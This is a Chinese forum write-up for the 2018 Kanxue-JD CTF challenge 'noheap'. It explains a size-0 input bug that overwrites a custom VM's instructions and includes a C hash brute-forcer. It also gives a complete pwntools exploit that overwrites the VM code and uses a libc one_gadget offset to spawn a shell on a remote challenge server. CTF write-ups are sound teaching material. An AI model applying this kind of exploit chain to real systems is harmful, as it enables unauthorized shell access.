首页
社区
课程
招聘
[原创]看雪.京东 2018CTF 第六题 PWN-noheap
2018-6-28 09:20 2893

[原创]看雪.京东 2018CTF 第六题 PWN-noheap

2018-6-28 09:20
2893

对程序的理解

先用pwntools检查一下开启了哪些安全保护。

 $ pwn checksec noheap 
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled

程序运行时,会算出一个简单的哈希,需要输入哈希对应的数据才能进行下一步。哈希验证可以通过爆破解决。

/* guess.c */
#include <stdio.h>
#include <stdint.h>
#include <string.h>
#include <stdlib.h>

uint32_t prng(uint32_t *seed)
{
    *seed = 0x343FD * *seed + 0x269EC3;
    return *seed;
}


uint32_t hash(uint8_t *data, size_t len)
{
    uint32_t result = 0;
    while (len > 0) {
        result = result * 0x83 + *data;
        data++;
        len--;
    }
    return result;
}

int main(int argc, char *argv[])
{
    char target[0x20];
    uint8_t rand[0x10] = { 0 };
    uint8_t sh[0x10] = { 0 };
    uint32_t i, j, k, l, n;
    uint32_t seed, h;

    setvbuf(stdin, 0, _IONBF, 0);
    setvbuf(stdout, 0, _IONBF, 0);

    printf("input:");
    scanf("%s", target);

    for ( i=0x30; i < 0x5b; i++)
        for ( j=0x30; j < 0x5b; j++)
            for ( k=0x30; k < 0x5b; k++)
                for ( l=0x30; l < 0x5b; l++) {
                    seed = (i << 24) | (j << 16) | (k << 8) | l;
                    *(uint32_t *)&rand[0] = prng(&seed);
                    *(uint32_t *)&rand[4] = prng(&seed);
                    h = hash(rand, 8);
                    sprintf(sh, "%08x", h);
                    /* printf("sh = %s\n", sh); */
                    if (memcmp(target, sh, 8) == 0) {
                        for(n=0; n<8; n++)
                            printf("%02x", rand[n]);
                        printf("\n");
                    }
                }

}

程序在初始化的时候会用异或一些地址,并初始化一串用于VM的指令。

其中指令为1, 3, 0x13, 1, 0xf, 4, 6, 1, 9, 0x14, 1, 2, 0x13, 0x16, 0, 0x40

 

下面会使用异或重新生成地址。

 

在偏移0x01107定义了一个简单的虚拟机。指令码为0x1-0x16。利用这个虚拟机可以操作栈。并且可以劫持执行流程。

漏洞

处理Malloc的函数会从命令行读入一个size,是一个无符号整型,size不能大于0x80。然后读入size - 1个字符。输入整数时都是没问题的,但是输入0时会读入0xff个字符,着就会覆盖VM的指令。

 

在漏洞利用时,不需要泄露信息,因为libc已经给出,然后可以从栈上读取一个libc中的已知地址,这里选取的是__malloc_hook + 0x10,实际上就是main_anera

然后就可以根据这个地址算出任意libc中的地址。

#!/usr/bin/env python2
# -*- coding: utf-8 -*-
# This exploit template was generated via:
# $ pwn template
from pwn import *
import struct


# Set up pwntools for the correct architecture
context.update(arch='amd64')
context.log_level = 'info'
exe = './noheap'



def start(argv=[], *a, **kw):
    '''Start the exploit against the target.'''
    if args.REMOTE:
        return remote('139.199.99.130', 8989)
    else:
        return process([exe] + argv, *a, **kw)




#===========================================================
#                    EXPLOIT GOES HERE
#===========================================================

one_gadget = """
0x45216    execve("/bin/sh", rsp+0x30, environ)
constraints:
  rax == NULL

0x4526a    execve("/bin/sh", rsp+0x30, environ)
constraints:
  [rsp+0x30] == NULL

0xf02a4    execve("/bin/sh", rsp+0x50, environ)
constraints:
  [rsp+0x50] == NULL

0xf1147    execve("/bin/sh", rsp+0x70, environ)
constraints:
  [rsp+0x70] == NULL
"""

# find by one_gadget
gadget = 0x4526a

libc = ELF("./libc-2.23.so")
__malloc_hook = libc.symbols["__malloc_hook"]
diff = __malloc_hook + 0x10 - gadget

log.info("__malloc_hook %x" % __malloc_hook)
log.info("gadget %x" % gadget)
log.info('diff %x' % diff)


orig_insns = [1, 3, 0x13, 1, 0xf, 4, 6, 1, 
    9, 0x14, 1, 2, 0x13, 0x16, 1, 0x40]

guess = process('./guess')

io = start()

io.recvuntil("Hash:")
h = io.recv(8)
log.info("hash %s" % h)
guess.recvuntil("input:")
guess.sendline(h)
s = guess.recv(16)
s = s.decode('hex')
# s = brute(h)
if s == None:
    print("can't find input that matches the hash")
    exit(1)
log.info("s %s" % s.encode('hex'))
io.recvuntil("Input:")
io.send(s)

# gdb.attach(io)

io.recvuntil(">> ")
io.sendline("1")
io.recvuntil("Size :")
io.sendline("0")
io.recvuntil("Content :")

# max 0ff
new_insns = [18, 9, 1, 2, 20, 1, 27, 19, 
    1, 32, 4, 5, 22, 0, 0, 0]

insns = orig_insns + new_insns

payload = 'A' * 0x80
payload += ''.join( chr(e) for e in orig_insns )
payload += ''.join( chr(e) for e in new_insns )
payload += p64(diff)

io.send(payload)

io.interactive()

最后flag为


[CTF入门培训]顶尖高校博士及硕士团队亲授《30小时教你玩转CTF》,视频+靶场+题目!助力进入CTF世界

收藏
点赞1
打赏
分享
最新回复 (0)
游客
登录 | 注册 方可回帖
返回